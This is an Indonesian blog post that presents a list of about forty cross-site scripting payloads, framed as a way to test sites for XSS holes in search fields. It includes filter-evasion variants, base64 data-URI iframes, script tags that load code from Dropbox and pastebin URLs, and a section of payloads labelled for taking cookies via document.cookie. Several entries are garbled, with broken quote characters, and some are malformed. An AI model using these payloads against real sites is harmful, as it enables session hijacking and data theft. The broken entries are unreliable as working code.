Pengertian dan Kegunaan Payload XSS:
Payload berfungsi untuk mengetes adanya bug/celah XSS pada web anda tentu saja Payload ini mengunakan bahasa js.
biasanya bug ini terdapat pada colum pencarian seperti search tentu saja ini sangat berpengaruh dikarekan bug xss ini dapat mencuri cookies dan juga data pada suatu website contoh seperti SQL to XSS
Berikut kumpulan Payload XSS
- <ScRipT>alert("XSS");</ScRipT>
- <script>alert(123)</script>
- <script>alert("hellox worldss");</script>
- <script>alert(�XSS�)</script>
- <script>alert(�XSS�);</script>
- <script>alert(�XSS�)</script>
- �><script>alert(�XSS�)</script>
- <script>alert(/XSS�)</script>
- <script>alert(/XSS/)</script>
- </script><script>alert(1)</script>
- �; alert(1);
- �)alert(1);//
- <ScRiPt>alert(1)</sCriPt>
- <IMG SRC=jAVasCrIPt:alert(�XSS�)>
- <IMG SRC=�javascript:alert(�XSS�);�>
- <IMG SRC=javascript:alert("XSS")>
- <IMG SRC=javascript:alert(�XSS�)>
- <img src=xss onerror=alert(1)>
- <iframe src="	javascript:prompt(1)	">
- <svg><style>{font-family:'<iframe/onload=confirm(1)>'
- <input/onmouseover="javaSCRIPT:confirm(1)"
- <sVg><scRipt >alert(1) {Opera}
- <img/src=`` onerror=this.onerror=confirm(1)
- <form><isindex formaction="javascript:confirm(1)"
- <img src=``
 onerror=alert(1)

- <script/	 src='https://dl.dropbox.com/u/13018058/js.js' /	></script>
- <ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?
- <iframe/src="data:text/html;	base64	,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
- <script /*/>//alert(1)//</script /*/"><h1/onmouseover='\u0061lert(1)'>
- <iframe/src="data:text/html,<svg onload=alert(1)>">
- <meta content="
 1 
; JAVASCRIPT: alert(1)" http-equiv="refresh"/>
- <svg><script xlink:href=data:,window.open('https://www.google.com/')></script>
- "><img src=x onerror=prompt(1)>
- <h1>testtt</h1>
- "><script>alert(document.cookie)</script>
- <marquee>Subrek</marquee>
- > (Xss With JSO)
- "><marquee><h1><script type="text/javascript" src="<script type "text/javascript" src"https://pastebin.com/raw/Qeuv2gKQ"></script>"></script>
Payload untuk mengambil cookies.
<script>alert(document.cookie)</script>
<script>alert(document.unsername)</script>
itulah dia kumpulan Payload XSS semoga bermanfaat ya temen2 .


Posting Komentar